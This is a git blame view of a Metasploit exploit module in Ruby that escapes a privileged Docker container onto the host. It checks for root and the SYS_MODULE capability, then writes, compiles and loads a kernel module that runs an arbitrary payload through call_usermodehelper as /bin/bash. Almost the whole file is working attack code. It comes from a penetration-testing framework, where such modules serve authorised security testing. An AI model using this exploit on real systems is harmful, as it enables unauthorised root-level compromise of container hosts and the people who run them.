Files
metasploit-gs/modules/exploits/linux/local/docker_privileged_container_kernel_escape.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

218 lines
8.0 KiB
Ruby
Raw Normal View History

2023-11-07 21:23:49 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
2023-11-10 20:59:29 -05:00
prepend Msf::Exploit::Remote::AutoCheck
2023-11-07 21:23:49 -05:00
include Msf::Post::File
include Msf::Post::Unix
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Docker Privileged Container Kernel Escape',
'Description' => %q{
This module performs a container escape onto the host as the daemon
user. It takes advantage of the SYS_MODULE capability. If that
exists and the linux headers are available to compile on the target,
then we can escape onto the host.
},
'License' => MSF_LICENSE,
2023-11-07 21:56:47 -05:00
'Author' => [
2023-11-10 20:49:09 -05:00
'Nick Cottrell <Rad10Logic>', # Module writer
'Eran Ayalon', # PoC/article writer
'Ilan Sokol' # PoC/article writer
2023-11-07 21:56:47 -05:00
],
2024-04-23 17:18:30 -04:00
'Platform' => %w[linux unix],
2023-11-07 21:23:49 -05:00
'Arch' => [ARCH_CMD],
'Targets' => [['Automatic', {}]],
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },
2024-04-23 17:18:30 -04:00
'SessionTypes' => %w[shell meterpreter],
2023-11-07 21:23:49 -05:00
'DefaultTarget' => 0,
'References' => [
2024-04-23 17:18:30 -04:00
%w[URL https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities],
%w[URL https://github.com/maK-/reverse-shell-access-kernel-module]
2023-11-07 21:23:49 -05:00
],
2023-11-10 20:49:09 -05:00
'DisclosureDate' => '2014-05-01', # Went in date of commits in github URL
2023-11-07 21:23:49 -05:00
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
}
)
)
register_advanced_options([
2024-05-01 08:51:16 -04:00
OptString.new('KernelModuleName', [true, 'The name that the kernel module will be called in the system', rand_text_alpha(8)], regex: /^[\w-]+$/),
2023-11-29 16:48:05 -05:00
OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', "/tmp/.#{rand_text_alpha(4)}"])
2023-11-07 21:23:49 -05:00
])
end
# Check we have all the prerequisites to perform the escape
def check
# Checking database if host has already been disclosed as a container
2024-04-26 21:55:01 -04:00
container_name =
if active_db? && framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host
framework.db.workspace.hosts.where(address: session.session_host)&.first&.virtual_host
else
get_container_type
end
2024-04-26 21:32:20 -04:00
unless %w[docker podman lxc].include?(container_name.downcase)
2024-05-01 08:51:16 -04:00
return Exploit::CheckCode::Safe('Host does not appear to be container of any kind')
2023-11-07 21:23:49 -05:00
end
# is root user
unless is_root?
return Exploit::CheckCode::Safe('Exploit requires root inside container')
end
# Checking if the SYS_MODULE capability is enabled
capability_bitmask = read_file('/proc/1/status')[/^CapEff:\s+[0-9a-f]{16}$/][/[0-9a-f]{16}$/].to_i(16)
2023-11-29 13:45:49 -05:00
unless capability_bitmask & 0x0000000000010000 > 0
2023-11-07 21:23:49 -05:00
return Exploit::CheckCode::Safe('SYS_MODULE Capability does not appear to be enabled')
end
2024-05-01 08:51:16 -04:00
CheckCode::Vulnerable('Inside Docker container and target appears vulnerable.')
end
def exploit
2024-05-01 13:30:16 -04:00
krelease = kernel_release
2023-11-07 21:23:49 -05:00
# Check if kernel header folders exist
2024-05-01 13:30:16 -04:00
kernel_headers_path = [
"/lib/modules/#{krelease}/build",
"/usr/src/kernels/#{krelease}"
].find { |path| directory?(path) }
unless kernel_headers_path
2024-05-01 08:51:16 -04:00
fail_with(Failure::NoTarget, 'Kernel headers for this target do not appear to be installed.')
2023-11-07 21:23:49 -05:00
end
2024-05-01 13:30:16 -04:00
vprint_status("Kernel headers found at: #{kernel_headers_path}")
2023-11-07 21:23:49 -05:00
# Check that our required binaries are installed
unless command_exists?('insmod')
2024-05-01 08:51:16 -04:00
fail_with(Failure::NoTarget, 'insmod does not appear to be installed.')
2023-11-07 21:23:49 -05:00
end
unless command_exists?('make')
2024-05-01 08:51:16 -04:00
fail_with(Failure::NoTarget, 'make does not appear to be installed.')
2023-11-07 21:23:49 -05:00
end
2023-11-29 16:36:33 -05:00
# Check that container directory is writable
2023-11-07 21:23:49 -05:00
if directory?(datastore['WritableContainerDir']) && !writable?(datastore['WritableContainerDir'])
fail_with(Failure::BadConfig, "#{datastore['WritableContainerDir']} is not writable")
end
2024-04-23 17:18:30 -04:00
# Checking that kernel module isn't already running
2023-11-29 16:48:05 -05:00
if kernel_modules.include?(datastore['KernelModuleName'])
fail_with(Failure::BadConfig, "#{datastore['KernelModuleName']} is already loaded into the kernel. You may need to remove it manually.")
2023-11-07 21:23:49 -05:00
end
2023-11-29 16:36:33 -05:00
2023-11-07 21:23:49 -05:00
# Creating source files
2024-05-01 08:51:16 -04:00
print_status('Creating files...')
2023-11-07 21:23:49 -05:00
mkdir(datastore['WritableContainerDir']) unless directory?(datastore['WritableContainerDir'])
2024-05-01 08:51:16 -04:00
2023-11-07 21:23:49 -05:00
write_kernel_source(datastore['KernelModuleName'], payload.encoded)
write_makefile(datastore['KernelModuleName'])
register_files_for_cleanup([
"#{datastore['KernelModuleName']}.c",
'Makefile'
2024-04-23 18:53:16 -04:00
].map { |filename| File.join(datastore['WritableContainerDir'], filename) })
2023-11-07 21:23:49 -05:00
# Making exploit
2024-05-01 08:51:16 -04:00
print_status('Compiling the kernel module...')
2024-05-01 13:30:16 -04:00
results = cmd_exec("make -C '#{datastore['WritableContainerDir']}' KERNEL_DIR='#{kernel_headers_path}' PWD='#{datastore['WritableContainerDir']}'")
2023-11-07 21:23:49 -05:00
vprint_status('Make results')
vprint_line(results)
register_files_for_cleanup([
'Module.symvers',
'modules.order',
"#{datastore['KernelModuleName']}.mod",
"#{datastore['KernelModuleName']}.mod.c",
"#{datastore['KernelModuleName']}.mod.o",
"#{datastore['KernelModuleName']}.o"
2024-04-23 18:53:16 -04:00
].map { |filename| File.join(datastore['WritableContainerDir'], filename) })
2023-11-07 21:23:49 -05:00
# Checking if kernel file exists
2024-05-01 08:51:16 -04:00
unless file_exist?("#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko")
fail_with(Failure::PayloadFailed, 'Kernel module did not compile. Run with verbose to see make errors.')
2023-11-07 21:23:49 -05:00
end
print_good('Kernel module compiled successfully')
# Loading module and running exploit
2024-05-01 08:51:16 -04:00
print_status('Loading kernel module...')
results = cmd_exec("insmod '#{datastore['WritableContainerDir']}/#{datastore['KernelModuleName']}.ko'")
2024-05-01 08:51:16 -04:00
unless results.blank?
2024-05-01 13:30:16 -04:00
results = results.strip
vprint_status('Insmod results: ' + (results.count("\n") == 0 ? results : ''))
vprint_line(results) if results.count("\n") > 0
2024-05-01 08:51:16 -04:00
end
2023-11-29 16:37:10 -05:00
end
def cleanup
# Attempt to remove kernel module
if kernel_modules.include?(datastore['KernelModuleName'])
vprint_status('Cleaning kernel module')
cmd_exec("rmmod #{datastore['KernelModuleName']}")
end
# Check that kernel module was removed
if kernel_modules.include?(datastore['KernelModuleName'])
print_warning('Payload was not a oneshot and cannot be removed until session is ended')
print_warning("Kernel module [#{datastore['KernelModuleName']}] will need to be removed manually")
end
super
2023-11-07 21:23:49 -05:00
end
def write_kernel_source(filename, payload_content)
2024-05-01 08:51:16 -04:00
file_content = <<~SOURCE
#include<linux/init.h>
#include<linux/module.h>
#include<linux/kmod.h>
MODULE_LICENSE("GPL");
static int start_shell(void){
#{Rex::Text.to_c(payload_content, Rex::Text::DefaultWrap, 'command')}
char *argv[] = {"/bin/bash", "-c", command, NULL};
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_EXEC);
}
static int init_mod(void){
return start_shell();
}
static void exit_mod(void){
return;
}
module_init(init_mod);
module_exit(exit_mod);
SOURCE
2023-11-07 21:23:49 -05:00
filename = "#{filename}.c" unless filename.end_with?('.c')
write_file(File.join(datastore['WritableContainerDir'], filename), file_content)
2023-11-07 21:23:49 -05:00
end
def write_makefile(filename)
2024-05-01 08:51:16 -04:00
file_contents = <<~SOURCE
obj-m +=#{filename}.o
2024-05-01 13:30:16 -04:00
2024-05-01 08:51:16 -04:00
all:
2024-05-01 13:30:16 -04:00
\tmake -C $(KERNEL_DIR) M=$(PWD) modules
2024-05-01 08:51:16 -04:00
clean:
2024-05-01 13:30:16 -04:00
\tmake -C $(KERNEL_DIR) M=$(PWD) clean
2024-05-01 08:51:16 -04:00
SOURCE
write_file(File.join(datastore['WritableContainerDir'], 'Makefile'), file_contents)
2023-11-07 21:23:49 -05:00
end
end